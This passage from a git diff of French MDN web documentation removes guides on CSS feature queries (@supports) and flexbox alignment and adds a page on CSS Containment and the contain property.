Si, par exemple, on souhaite vérifier qu'un navigateur prend en charge la propriété row-gap, on écrira la requête suivant. Dans la plupart des cas, peu importe la valeur utilisée avec cette propriété, on souhaite simplement la prise en charge de cette propriété et on peut donc utiliser n'importe quelle valeur valide pour ça.

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/simple.html", '100%', 600)}}

+ +

La partie dédiée à la valeur de la propriété permet de tester les cas où une nouvelle valeur est spécifiée pour une propriété donnée. Le cas de display est particulièrement intéressant. Tous les navigateurs prennent en charge display (display: block faisait partie de CSS1) mais les valeurs display: flex et display: grid ont été ajoutées plus récemment. Les propriétés CSS peuvent parfois se voir doter de nouvelles valeurs et on peut alors tester leur prise en charge avec @supports.

+ +

Tester l'absence de prise en charge d'une fonctionnalité

+ +

Il est aussi possible de tester l'absence de prise en charge d'une fonctionnalité en ajoutant le mot-clé not :

+ +
@supports not (propriété: valeur) {
+  Règles CSS à appliquer
+}
+ +

Les règles CSS contenues dans la requête suivante seront uniquement appliquées lorsque le navigateur ne prend pas en charge row-gap.

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/not.html", '100%', 600)}}

+ +

Tester la prise en charge de plusieurs fonctionnalités

+ +

Si on souhaite tester la prise en charge de plusieurs fonctionnalités en même temps, on pourra les combiner avec le mot-clé and :

+ +
@supports (property1: value) and (property2: value) {
+  CSS rules to apply
+}
+ +

On peut, par exemple, vérifier que le navigateur prend en charge les formes (shapes) et grilles CSS grâce à une règle qui teste cette conjonction. La règle suivante renverra true uniquement si shape-outside: circle() et display: grid sont pris en charge par le navigateur.

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/and.html", '100%', 600)}}

+ +

De la même façon, on peut utiliser le mot-clé or si on souhaite tester la prise en charge d'au moins une fonctionnalité :

+ +
@supports (property1: value) or (property2: value) {
+  CSS rules to apply
+}
+ +

Cela peut s'avérer particulièrement utile lorsqu'un préfixe est présent dans le nom d'une propriété (on peut alors tester la prise en charge de la propriété standard et des versions préfixées).

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/or.html", '100%', 600)}}

+ +

Limites des requêtes de fonctionnalité

+ +

Une règle @supports ne permet de vérifier qu'un navigateur peut interpréter une ou plusieurs paires de propriétés/valeurs. Si cette paire est comprise par le navigateur, celui-ci renverra une réponse positive. Une telle requête ne permet pas d'indiquer que la fonctionnalité est complètement prise en charge, sans bug…

+ +

De plus, de telles requêtes ne permettent pas de tester une implémentation partielle. Prenons l'exemple de la propriété gap, à l'heure actuelle (novembre 2019) : tous les navigateurs prennent en charge gap avec les grilles CSS et seul Firefox prend en charge gap avec les boîtes flexibles (flexbox). Si on teste la propriété gap car on souhaite l'utiliser avec les boîtes flexibles, on recevra une réponse positive bien que ce ne soit pas implémenté.

+ +

Comment utiliser @supports pour l'amélioration progressive ?

+ +

Les requêtes de fonctionnalité sont un outil précieux pour améliorer un site de façon progressive. Elles permettent de fournir une solution fonctionnelle pour tous les navigateurs et d'améliorer le résultat pour les navigateurs qui prennent en charge de nouvelles fonctionnalités.

+ +

Toutefois, il existe des navigateurs pour lesquels même les requêtes de fonctionnalité/@supports ne sont pas pris en charge. Ainsi, si on souhaite utiliser les grilles CSS (qui ne sont pas prises en charge par IE11), on ne peut pas tester leur prise en charge dans IE11 car ce dernier ne permet pas d'utiliser @supports. En pratique, cela ne devrait pas poser de problème : le code CSS principal est destiné aux navigateurs les plus anciens et on ajoute le CSS plus récent dans les requêtes de fonctionnalité.

+ +

Prenons un exemple plus construit.

+ +

Imaginons qu'on veuille créer une disposition avec trois boîtes qui se suivent sur une ligne. Idéalement, on voudrait utiliser les grilles CSS. Toutefois, on voudrait aussi une disposition qui fonctionne pour les navigateurs plus anciens avec des éléments flottants. Pour commencer, on crée la disposition flottante avec le code suivante (on a alors trois colonnes).

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/step1.html", '100%', 900)}}

+ +

Lorsque les navigateurs ne comprennent pas une propriété ou une valeur CSS, ils l'ignorent. On peut donc améliorer progressivement notre disposition avec les grilles CSS. Les navigateurs qui ne prennent pas en charge les grilles ignoreront la valeur grid pour la propriété display. Une fois qu'un objet flottant devient un élément de grille, son caractère flottant est retiré (voir Prendre en charge les navigateurs plus anciens) et la grille écrase alors la version flottante.

+ +

Un problème persiste cependant. La propriété width, utilisée par les objets flottants pour afficher trois colonnes, est désormais interprétée par la grille comme étant la largeur de la piste pour la colonne (et pas la largeur du conteneur comme c'était le cas pour la disposition flottante).

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/step2.html", '100%', 900)}}

+ +

Il faut une façon de retirer la largeur si display: grid est pris en charge. C'est là que les requêtes de fonctionnalité montrent leur force. On peut réinitialiser width avec la valeur auto si les grilles sont prises en charge.

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/step3.html", '100%', 900)}}

+ +

Dans le scénario précédent, peu importe que IE11 ne prenne pas en charge les requêtes de fonctionnalité ou les grilles CSS : c'est la version flottante qui sera utilisée dans tous les cas où le navigateur ne prend pas en charge les grilles.

+ +

Une autre façon d'écrire cette solution consiste à grouper le code utilisant la grille dans une même requête de fonctionnalité.

+ +

{{EmbedGHLiveSample("css-examples/feature-queries/step4.html", '100%', 900)}}

+ +

De cette façon, on a un peu plus de code mais on peut alors tester le fonctionnement par défaut en changeant simplement le nom de la valeur. Dans l'exemple qui suit, vous pouvez ainsi alterner entre les deux solutions en changeant display: grid en display: grip (une valeur invalide et donc non prise en charge).

+ +

Résumé

+ +

Les requêtes de fonctionnalité permettent d'utiliser des fonctionnalités récentes dans l'amélioration progressive de sites fonctionnels avec les anciens navigateurs. En destinant le code CSS aux navigateurs qui le prennent en charge, on ne risque pas d'interférences avec la disposition de base (comme nous avons pu le voir avec l'exemple précédent sur les grilles CSS).

+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/css_conditional_rules/utiliser_requ\303\252tes_fonctionnalit\303\251_(feature_queries)/index.html" "b/files/fr/web/css/css_conditional_rules/utiliser_requ\303\252tes_fonctionnalit\303\251_(feature_queries)/index.html" deleted file mode 100644 index 811f5c4b22..0000000000 --- "a/files/fr/web/css/css_conditional_rules/utiliser_requ\303\252tes_fonctionnalit\303\251_(feature_queries)/index.html" +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Utiliser les requêtes de fonctionnalité (feature queries) -slug: >- - Web/CSS/CSS_Conditional_Rules/Utiliser_requêtes_fonctionnalité_(feature_queries) -tags: - - Amélioration progressive - - CSS - - Guide -translation_of: Web/CSS/CSS_Conditional_Rules/Using_Feature_Queries ---- -
{{CSSRef}}
- -

Les requêtes de fonctionnalité (ou feature queries) sont créées à l'aide de la règle @supports et permettent aux développeurs web de tester la prise en charge d'une fonctionnalité donnée par le navigateur puis de fournir le code CSS qui sera appliqué selon le résultat de ce test. Dans ce guide, nous verrons comment gérer l'amélioration progressive grâce à l'aide des requêtes de fonctionnalité.

- -

Syntaxe

- -

Les requêtes de fonctionnalité CSS s'inscrivent dans le module de spécification CSS Conditional Rules qui décrit également le fonctionnement de la règle @media. Vous pourrez ici voir que les requêtes de fonctionnalité fonctionnent de façon semblable aux requêtes de média. Pour les requêtes de média, on teste une caractéristique de l'environnement dans lequel la page web est affichée/exécutée tandis que pour les requêtes de fonctionnalité, on teste la prise en charge d'une fonctionnalité CSS dans le navigateur.

- -

Une requête de fonctionnalité commence par une règle @supports, suivi du nom de la propriété et de la valeur qu'on souhaite tester. Il n'est pas possible de tester une propriété seule (ex. display) mais uniquement un couple nom/valeur :

- -
@supports (propriété: valeur) {
-  Règles CSS à appliquer
-}
- -

Si, par exemple, on souhaite vérifier qu'un navigateur prend en charge la propriété row-gap, on écrira la requête suivant. Dans la plupart des cas, peu importe la valeur utilisée avec cette propriété, on souhaite simplement la prise en charge de cette propriété et on peut donc utiliser n'importe quelle valeur valide pour ça.

- -

{{EmbedGHLiveSample("css-examples/feature-queries/simple.html", '100%', 600)}}

- -

La partie dédiée à la valeur de la propriété permet de tester les cas où une nouvelle valeur est spécifiée pour une propriété donnée. Le cas de display est particulièrement intéressant. Tous les navigateurs prennent en charge display (display: block faisait partie de CSS1) mais les valeurs display: flex et display: grid ont été ajoutées plus récemment. Les propriétés CSS peuvent parfois se voir doter de nouvelles valeurs et on peut alors tester leur prise en charge avec @supports.

- -

Tester l'absence de prise en charge d'une fonctionnalité

- -

Il est aussi possible de tester l'absence de prise en charge d'une fonctionnalité en ajoutant le mot-clé not :

- -
@supports not (propriété: valeur) {
-  Règles CSS à appliquer
-}
- -

Les règles CSS contenues dans la requête suivante seront uniquement appliquées lorsque le navigateur ne prend pas en charge row-gap.

- -

{{EmbedGHLiveSample("css-examples/feature-queries/not.html", '100%', 600)}}

- -

Tester la prise en charge de plusieurs fonctionnalités

- -

Si on souhaite tester la prise en charge de plusieurs fonctionnalités en même temps, on pourra les combiner avec le mot-clé and :

- -
@supports (property1: value) and (property2: value) {
-  CSS rules to apply
-}
- -

On peut, par exemple, vérifier que le navigateur prend en charge les formes (shapes) et grilles CSS grâce à une règle qui teste cette conjonction. La règle suivante renverra true uniquement si shape-outside: circle() et display: grid sont pris en charge par le navigateur.

- -

{{EmbedGHLiveSample("css-examples/feature-queries/and.html", '100%', 600)}}

- -

De la même façon, on peut utiliser le mot-clé or si on souhaite tester la prise en charge d'au moins une fonctionnalité :

- -
@supports (property1: value) or (property2: value) {
-  CSS rules to apply
-}
- -

Cela peut s'avérer particulièrement utile lorsqu'un préfixe est présent dans le nom d'une propriété (on peut alors tester la prise en charge de la propriété standard et des versions préfixées).

- -

{{EmbedGHLiveSample("css-examples/feature-queries/or.html", '100%', 600)}}

- -

Limites des requêtes de fonctionnalité

- -

Une règle @supports ne permet de vérifier qu'un navigateur peut interpréter une ou plusieurs paires de propriétés/valeurs. Si cette paire est comprise par le navigateur, celui-ci renverra une réponse positive. Une telle requête ne permet pas d'indiquer que la fonctionnalité est complètement prise en charge, sans bug…

- -

De plus, de telles requêtes ne permettent pas de tester une implémentation partielle. Prenons l'exemple de la propriété gap, à l'heure actuelle (novembre 2019) : tous les navigateurs prennent en charge gap avec les grilles CSS et seul Firefox prend en charge gap avec les boîtes flexibles (flexbox). Si on teste la propriété gap car on souhaite l'utiliser avec les boîtes flexibles, on recevra une réponse positive bien que ce ne soit pas implémenté.

- -

Comment utiliser @supports pour l'amélioration progressive ?

- -

Les requêtes de fonctionnalité sont un outil précieux pour améliorer un site de façon progressive. Elles permettent de fournir une solution fonctionnelle pour tous les navigateurs et d'améliorer le résultat pour les navigateurs qui prennent en charge de nouvelles fonctionnalités.

- -

Toutefois, il existe des navigateurs pour lesquels même les requêtes de fonctionnalité/@supports ne sont pas pris en charge. Ainsi, si on souhaite utiliser les grilles CSS (qui ne sont pas prises en charge par IE11), on ne peut pas tester leur prise en charge dans IE11 car ce dernier ne permet pas d'utiliser @supports. En pratique, cela ne devrait pas poser de problème : le code CSS principal est destiné aux navigateurs les plus anciens et on ajoute le CSS plus récent dans les requêtes de fonctionnalité.

- -

Prenons un exemple plus construit.

- -

Imaginons qu'on veuille créer une disposition avec trois boîtes qui se suivent sur une ligne. Idéalement, on voudrait utiliser les grilles CSS. Toutefois, on voudrait aussi une disposition qui fonctionne pour les navigateurs plus anciens avec des éléments flottants. Pour commencer, on crée la disposition flottante avec le code suivante (on a alors trois colonnes).

- -

{{EmbedGHLiveSample("css-examples/feature-queries/step1.html", '100%', 900)}}

- -

Lorsque les navigateurs ne comprennent pas une propriété ou une valeur CSS, ils l'ignorent. On peut donc améliorer progressivement notre disposition avec les grilles CSS. Les navigateurs qui ne prennent pas en charge les grilles ignoreront la valeur grid pour la propriété display. Une fois qu'un objet flottant devient un élément de grille, son caractère flottant est retiré (voir Prendre en charge les navigateurs plus anciens) et la grille écrase alors la version flottante.

- -

Un problème persiste cependant. La propriété width, utilisée par les objets flottants pour afficher trois colonnes, est désormais interprétée par la grille comme étant la largeur de la piste pour la colonne (et pas la largeur du conteneur comme c'était le cas pour la disposition flottante).

- -

{{EmbedGHLiveSample("css-examples/feature-queries/step2.html", '100%', 900)}}

- -

Il faut une façon de retirer la largeur si display: grid est pris en charge. C'est là que les requêtes de fonctionnalité montrent leur force. On peut réinitialiser width avec la valeur auto si les grilles sont prises en charge.

- -

{{EmbedGHLiveSample("css-examples/feature-queries/step3.html", '100%', 900)}}

- -

Dans le scénario précédent, peu importe que IE11 ne prenne pas en charge les requêtes de fonctionnalité ou les grilles CSS : c'est la version flottante qui sera utilisée dans tous les cas où le navigateur ne prend pas en charge les grilles.

- -

Une autre façon d'écrire cette solution consiste à grouper le code utilisant la grille dans une même requête de fonctionnalité.

- -

{{EmbedGHLiveSample("css-examples/feature-queries/step4.html", '100%', 900)}}

- -

De cette façon, on a un peu plus de code mais on peut alors tester le fonctionnement par défaut en changeant simplement le nom de la valeur. Dans l'exemple qui suit, vous pouvez ainsi alterner entre les deux solutions en changeant display: grid en display: grip (une valeur invalide et donc non prise en charge).

- -

Résumé

- -

Les requêtes de fonctionnalité permettent d'utiliser des fonctionnalités récentes dans l'amélioration progressive de sites fonctionnels avec les anciens navigateurs. En destinant le code CSS aux navigateurs qui le prennent en charge, on ne risque pas d'interférences avec la disposition de base (comme nous avons pu le voir avec l'exemple précédent sur les grilles CSS).

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_containment/index.html b/files/fr/web/css/css_containment/index.html new file mode 100644 index 0000000000..34af6f3274 --- /dev/null +++ b/files/fr/web/css/css_containment/index.html @@ -0,0 +1,123 @@ +--- +title: Compartimentation CSS (CSS Containment) +slug: Web/CSS/Compartimentation_CSS +tags: + - CSS + - CSS Containment +translation_of: Web/CSS/CSS_Containment +--- +

{{CSSRef}}
+ L'objectif du module de spécification CSS Containment (pour Compartimentation CSS) consiste à améliorer les performances des pages web en permettant aux développeurs d'isoler un sous-ensemble de la page. Si le navigateur sait que cette partie est indépendante, le rendu peut être optimisé et les performances améliorées. Ce module de spécification définit une seule propriété CSS : {{cssxref("contain")}}. Dans cet article, nous verrons les objectifs principaux de cette spécification.

+ +

Exemple simple

+ +

De nombreuses pages web disposent de plusieurs sections qui sont indépendantes les unes des autres. Voici une liste d'articles avec leurs titres et leurs contenus.

+ +
<h1>Mon blog</h1>
+<article>
+  <h2>Titre d'un article sympa</h2>
+  <p>Un peu de contenu.</p>
+</article>
+<article>
+  <h2>Un autre titre pour un autre article</h2>
+  <p>Un peu plus de contenu ici.</p>
+</article>
+ +

Pour chaque article, on applique la propriété {{cssxref("contain")}} avec la valeur content.

+ +
article {
+  contain: content;
+}
+ +

Chaque article est indépendant des autres articles de la page et on fournit contain: content afin d'indiquer cette indépendance au navigateur. Ce dernier peut alors prendre des décisions quant au rendu du contenu (par exemple, ne pas travailler sur le rendu d'articles qui ne sont pas sur la zone visible).

+ +

Si on fournit contain: content pour chaque <article>, lorsque de nouveaux éléments sont insérés, le navigateur comprendra qu'il n'est pas nécessaire de tout repeindre/redisposer à l'intérieur de l'arbre de l'élément. Toutefois, si <article> est mis en forme de telle façon que sa forme dépend de son contenu (ex. height: auto), le navigateur devra prendre en compte le redimensionnement.

+ +

La valeur content est une valeur synthétique pour contain: layout paint. Elle indique au navigateur que la disposition de l'élément est complètement séparée de celle du reste de la page et que tout ce qui concerne l'élément est peint à l'intérieur de son cadre et que rien ne peut dépasser.

+ +

Cette information est parfois connue voire évidente pour la ou les personnes qui construisent la page. Toutefois, les navigateurs ne peuvent pas simplement deviner cette intention et partir du principe que chaque article ne débordera pas. Cette propriété permet ainsi d'expliquer la situation au navigateur afin que celui-ci puisse en tirer parti et optimiser ce qu'il peut grâce à cette hypothèse.

+ +

Concepts et terminologie

+ +

Cette spécification ne définit qu'une seule propriété : {{cssxref("contain")}}. Les valeurs fournies à cette propriété indiquent le type de compartimentation qu'on souhaite appliquer à l'élément.

+ +

Compartimentation de la disposition

+ +
article {
+  contain: layout;
+}
+ +

La disposition porte normalement sur l'intégralité d'un document et si on déplace un élément, c'est tout le document qui doit être reconsidéré car tout peut avoir bougé. Avec contain: layout, on indique au navigateur qu'il est uniquement nécessaire de vérifier cet élément et son contenu : tout ce qu'il contient n'affecte pas le reste de la page et la boîte englobante crée un contexte de formatage indépendant.

+ +

De plus :

+ +
    +
  • Les dispositions flottantes (avec display:float) seront traitées indépendamment.
    • +
  • Les marges ne fusionneront pas en dehors des limites du bloc englobant ainsi compartimenté
    • +
  • Le conteneur de la disposition sera un bloc englobant pour les éléments descendants avec des positions absolute/fixed.
    • +
  • La boîte englobante crée un contexte d'empilement et on peut donc utiliser {{cssxref("z-index")}}.
    • +
+ +

Compartimentation pour la peinture

+ +
article {
+  contain: paint;
+}
+ +

La compartimentation avec paint limite/rogne la boîte jusqu'à la limite de la zone de remplissage (padding) de la boîte principale. Autrement dit, il ne peut pas y avoir de chevauchement visible. On a également les mêmes règles qu'avec layout (voir ci-avant).

+ +

De plus, lorsque la boîte englobante est hors de l'écran, le navigateur n'a pas besoin de peindre ses éléments (car ceux-ci sont contenus dans cette boîte au sens géométrique).

+ +

Compartimentation pour le dimensionnement

+ +
article {
+  contain: size;
+}
+ +

La compartimentation du dimensionnement, utilisée seule, n'offre pas un grand intérêt quant aux performances. Cette valeur signifie que la taille des éléments fils ne doit pas affecter la taille de l'élément ciblé — sa taille est calculée comme si l'élément n'avait pas de fils.

+ +

Si on active contain: size, il faut alors définir la taille de l'élément sur lequel on l'applique. Sinon, dans la plupart des cas, l'élément aura des dimensions nulles.

+ +

Compartimentation pour le style

+ +
article {
+  contain: style;
+}
+ +

Malgré son nom, cette valeur ne fournit pas un style compartimenté comme on pourrait l'avoir avec un Shadow DOM. Cette valeur sert principlament pour les compteurs CSS qui pourraient changer sur un élément et affecter le reste de l'arborescence.

+ +

En utilisant contain: style, on s'assure que les propriétés {{cssxref("counter-increment")}} et {{cssxref("counter-set")}} créent de nouveaux compteurs limités à ce sous-arbre.

+ +
+

Note : La valeur style est considérée comme « à risque » dans la spécification actuelle et pourrait ne pas être prise en charge partout (elle n'est actuellement pas prise en charge dans Firefox - novembre 2019).

+
+ +

Valeurs spéciales

+ +

La propriété contain possède deux valeurs spéciales :

+ +
    +
  • content
    • +
  • strict
    • +
+ +

La première (vue dans le premier exemple) est un synonyme pour la conjonction de layout et paint. La spécification décrit cette valeur comme pouvant « raisonnablement être appliquée largement de façon saine ». Elle n'applique pas la compartimentation pour le dimensionnement (size) donc on ne risque pas d'avoir une boîte avec une taille nulle en raison de la taille de ses enfants.

+ +

Pour obtenir la compartimentation la plus forte, on utilisera contain: strict qui est synonyme de contain: size layout paint voire on ajoutera ensuite la compartimentation du style pour les navigateurs qui la prennent en charge :

+ +
contain: strict;
+contain: strict style;
+ +

Référence

+ +

Propriétés CSS

+ +
    +
  • {{cssxref("contain")}}
    • +
+ +

Ressources externes

+ + diff --git "a/files/fr/web/css/css_flexible_box_layout/aligner_des_\303\251l\303\251ments_dans_un_conteneur_flexible/index.html" "b/files/fr/web/css/css_flexible_box_layout/aligner_des_\303\251l\303\251ments_dans_un_conteneur_flexible/index.html" deleted file mode 100644 index 2321587479..0000000000 --- "a/files/fr/web/css/css_flexible_box_layout/aligner_des_\303\251l\303\251ments_dans_un_conteneur_flexible/index.html" +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: Aligner des éléments dans un conteneur flexible -slug: >- - Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_éléments_dans_un_conteneur_flexible -tags: - - CSS - - Flex - - Guide - - Web - - flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container ---- -

{{CSSRef}}

- -

Une des raisons qui ont poussé à l'adoption des boîtes flexibles est la présence d'outils d'alignement enfin corrects pour le Web. On pouvait ainsi enfin centrer une boîte sur un axe vertical. Dans ce guide, nous verrons dans le détail comment fonctionnent les propriétés d'alignement et de justification relatives aux boîtes flexibles.

- -

Afin de centrer notre boîte, nous allons utiliser la propriété align-items afin d'aligner l'objet sur l'axe secondaire (cross axis en anglais). Dans notre exemple, cet axe est l'axe de bloc et est orienté verticalement. La propriété justify-content est quant à elle utilisée pour aligner l'objet sur l'axe principal (main axis en anglais) (ici l'axe principal est l'axe en ligne qui s'étend horizontalement).

- -

Un élément contenant une autre boîte centrée à l'intérieur

- -

 

- -

Vous pouvez étudier le code de l'exemple suivant et modifier la taille du conteneur ou d'un élément imbriqué : l'élément imbriqué sera toujours centré.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}

- -

Les propriétés responsables de l'alignement

- -

Voici les propriétés que nous étudierons dans ce guide :

- -
    -
  • {{cssxref("justify-content")}} — contrôle l'alignement de tous les objets sur l'axe principal.
    • -
  • {{cssxref("align-items")}} — contrôle l'alignement de tous les objets sur l'axe secondaire.
    • -
  • {{cssxref("align-self")}} — contrôle l'alignement d'un objet flexible donné le long de l'axe secondaire.
    • -
  • {{cssxref("align-content")}} — contrôle l'espace entre les lignes flexibles sur l'axe secondaire.
    • -
- -

Nous verrons également comment les marges automatiques peuvent être utilisées dans l'alignement des boîtes flexibles.

- -
-

Note : Les propriétés d'alignement du module de spécification CSS Flexbox ont été placés dans leur propre spécification : CSS Box Alignment Level 3. Cette dernière remplacera à terme les propriétés définies dans le module Flexbox de niveau 1.

-
- -

L'axe secondaire (cross axis)

- -

Les propriétés align-items et align-self permettent de gérer l'alignement des éléments flexibles sur l'axe secondaire.

- -

Prenons un exemple simple : nous ajoutons display: flex à un conteneur qui contient trois objets. Tous s'étirent afin d'être aussi grands que le plus grand des éléments car celui-ci définit la taille du conteneur sur l'axe secondaire. Si le conteneur flexible possède une hauteur définie, les objets qu'il contient s'étireront pour atteindre cette taille, quel que soit le contenu dont ils disposent.

- -

Trois objets dont un avec un texte plus long qui le rend plus grand que les autres

- -

Trois objets étirés pour mesurer 200 pixels de haut

- -

Les éléments obtiennent la même hauteur à cause de la valeur initiale de align-items qui contrôle l'alignement sur l'axe secondaire. Cette valeur initiale est stretch (qui indique que les objets du conteneur doivent être étirés sur l'axe).

- -

Voici les valeurs disponibles pour aligner les objets :

- -
    -
  • align-items: flex-start
    • -
  • align-items: flex-end
    • -
  • align-items: center
    • -
  • align-items: stretch
    • -
  • align-items: baseline
    • -
- -

Dans l'exemple qui suit, la valeur d'align-items est stretch. Vous pouvez essayer les autres valeurs afin de voir comment les objets s'alignent dans le conteneur.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

- -

Aligner un objet avec align-self

- -

La propriété align-items définit la valeur de la propriété align-self pour l'ensemble des objets flexibles. Cela signifie qu'on peut utiliser la propriété align-self de façon explicite, sur un élément donné, afin de préciser son alignement. La propriété align-self prend en charge les mêmes valeurs que align-items ainsi qu'un mot-clé auto qui reprendra la valeur définie sur le conteneur flexible.

- -

Dans le prochain exemple, le conteneur flexible a align-items: flex-start, ce qui signifie que les éléments sont tous alignés au début de l'axe secondaire. On utilise le sélecteur first-child afin de cibler le premier élément fils pour lequel on indique align-self: stretch ; un autre élément a été sélectionné via la classe selected et est paramétré avec align-self: center. Vous pouvez modifier la valeur de align-items ou changer les valeurs d'align-self sur les éléments afin d'observer le fonctionnement.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

- -

Changer d'axe principal

- -

Jusqu'à présent, les exemples fonctionnaient avec flex-direction valant row et avec un langage dont les lignes progressent du haut vers le bas. Cela signifie que l'axe principal est une ligne horizontale et que l'axe secondaire est une ligne verticale dirigée vers le bas.

- -

Trois objets, le premier aligné avec flex-start, le deuxième avec center et le troisième avec flex-end. Alignement sur l'axe vertical..

- -

Si on passe flex-direction à column, align-items et align-self aligneront les éléments à gauche et à droite.

- -

Trois éléments, le premier aligné avec flex-start, le deuxième avec center et le troisième avec flex-end. Alignement sur l'axe horizontal.

- -

Vous pouvez manipuler cet exemple qui reprend le même code que l'exemple précédent avec la seule exception que flex-direction vaut ici column.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}}

- -

Aligner le contenu sur l'axe secondaire : align-content

- -

Jusqu'à présent, nous avons aligné les éléments ou un élément donné dans la zone définie par le conteneur flexible. Si on a un conteneur qui s'étend / se divise sur plusieurs lignes, on pourra utiliser la propriété align-content afin de contrôler la distribution de l'espace entre les lignes. La spécification décrit cela comme le groupement des lignes flexibles.

- -

Afin qu'align-content puisse fonctionner, il faut un conteneur dont la hauteur est supérieure à celle qui est nécessaire à l'affichage des éléments. Le moteur applique alors les règles sur l'ensemble des éléments et régit l'utilisation de l'espace restant et l'alignement de l'ensemble dans cet espace.

- -

La propriété align-content prend les valeurs suivantes :

- -
    -
  • align-content: flex-start
    • -
  • align-content: flex-end
    • -
  • align-content: center
    • -
  • align-content: space-between
    • -
  • align-content: space-around
    • -
  • align-content: stretch
    • -
  • align-content: space-evenly (cette valeur n'est pas définie dans le module de spécification Flexbox)
    • -
- -

Dans l'exemple suivant, le conteneur flexible a une hauteur de 400 pixels, ce qui est supérieur à ce qui est nécessaire pour afficher le contenu. align-content vaut space-between ce qui signifie que l'espace disponible sera réparti entre les lignes flexibles dont la première commence en étant adjacente à la ligne de début et dont la dernière est adjacente à la ligne de fin de l'axe secondaire.

- -

Vous pouvez modifier la valeur de align-content afin d'observer comment cette propriété fonctionne.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

- -

Là encore, on peut passer avec flex-direction: column afin de voir comment les propriétés se comportent sur les colonnes. Là aussi, il faut suffisamment d'espace le long de l'axe secondaire afin qu'il y ait de l'espace libre à répartir.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

- -
-

Note : La valeur space-evenly n'est pas définie dans la spécification relative aux boîtes flexibles et a été dernièrement ajoutée à la spécification sur l'alignement des boîtes. Cette valeur est donc moins prise en charge par les navigateurs que les autres mots-clés.

-
- -

Vous pouvez consulter la documentation sur {{cssxref("align-content")}} pour en savoir plus, notamment sur la compatibilité des navigateurs.

- -

Aligner le contenu sur l'axe principal

- -

Nous avons pu voir comment fonctionne l'alignement sur l'axe secondaire. Concentrons-nous désormais sur l'alignement relatif à l'axe principal. Ici, une seule propriété est disponible : justify-content. En effet, sur cet axe, les éléments sont gérés comme un seul groupe. Avec, justify-content on contrôle comment l'espace disponible est réparti s'il y a plus d'espace que nécessaire pour afficher les objets.

- -

Dans l'exemple initial avec display: flex appliqué au conteneur, les éléments formaient une ligne qui commençait au début du conteneur. Cela provient de la valeur initiale de justify-content qui est flex-start. Avec cette valeur, tout l'espace disponible est placé à la fin, après les éléments.

- -

Trois éléments, chacun mesurant 100 pixels de large dans un conteneur de 500 pixels de large. L'espace disponible restant se situe après les éléments.

- -

La propriété justify-content prend en charge les mêmes valeurs que align-content.

- -
    -
  • justify-content: flex-start
    • -
  • justify-content: flex-end
    • -
  • justify-content: center
    • -
  • justify-content: space-between
    • -
  • justify-content: space-around
    • -
  • justify-content: stretch
    • -
  • justify-content: space-evenly (ce mot-clé n'est pas défini dans la spécification CSS sur les boîtes flexibles)
    • -
- -

Dans le prochain exemple, justify-content vaut space-between. L'espace disponible après l'affichage des éléments est alors distribué entre les éléments et le premier élément est adjacent à la ligne de début et le dernier est adjacent à la ligne de fin.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

- -

Si l'axe principal suit la direction de bloc (orthogonale au sens d'écriture) car flex-direction est paramétré avec la valeur column, justify-content distribuera l'espace selon cet axe tant que l'espace du conteneur flexible est suffisant.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}}

- -

L'alignement et les modes d'écriture

- -

Rappelons ici qu'avec ces méthodes d'alignement, flex-start et flex-end respectent le mode d'écriture utilisé. Si on utilise justify-content avec la valeur start pour un contenu écrit en anglais (un mode d'écriture de la gauche vers la droite), les éléments commenceront à gauche du conteneur.

- -

Trois éléments alignés sur la gauche

- -

Mais si le contenu est écrit en arabe (un mode d'écriture de la droite vers la gauche), les éléments démarreront à la droite du conteneur.

- -

Trois éléments alignés sur la droite

- -

Dans l'exemple qui suit, on indique explicitement la valeur rtl pour la propriété display afin de forcer un mode d'écriture de droite à gauche. Vous pouvez retirer cette déclaration ou modifier la valeur de justify-content afin de voir comment les boîtes flexibles s'organisent lorsque le début de la ligne est à droite.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

- -

L'alignement et la propriété flex-direction

- -

La ligne de début sera également modifiée si on change la valeur de la propriété flex-direction, par exemple en utilisant row-reverse à la place de row.

- -

Dans le prochain exemple, on utilise flex-direction: row-reverse et justify-content: flex-end. Pour une langue écrite de gauche à droite, les éléments seront regroupés à gauche. Si vous modifiez les valeurs et passez de flex-direction: row-reverse à flex-direction: row. Vous verrez que les éléments sont désormais groupés à droite.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

- -

Si cela peut paraître déroutant, la règle principale à mémoriser est que, par défaut, si on ne change rien, les éléments flexibles sont organisés dans la direction naturelle de la langue dans laquelle le document est écrit. flex-start correspondra donc à la ligne de début depuis laquelle une phrase démarrerait.

- -

Un diagramme illustrant la ligne de début à gauche et la ligne de fin à droite

- -

On peut changer l'axe avec flex-direction: column. Dans ce cas, flex-start correspondra à l'emplacement du début du premier paragraphe d'un texte.

- -

Un diagramme illustrant la ligne de début en haut et la ligne de fin en bas

- -

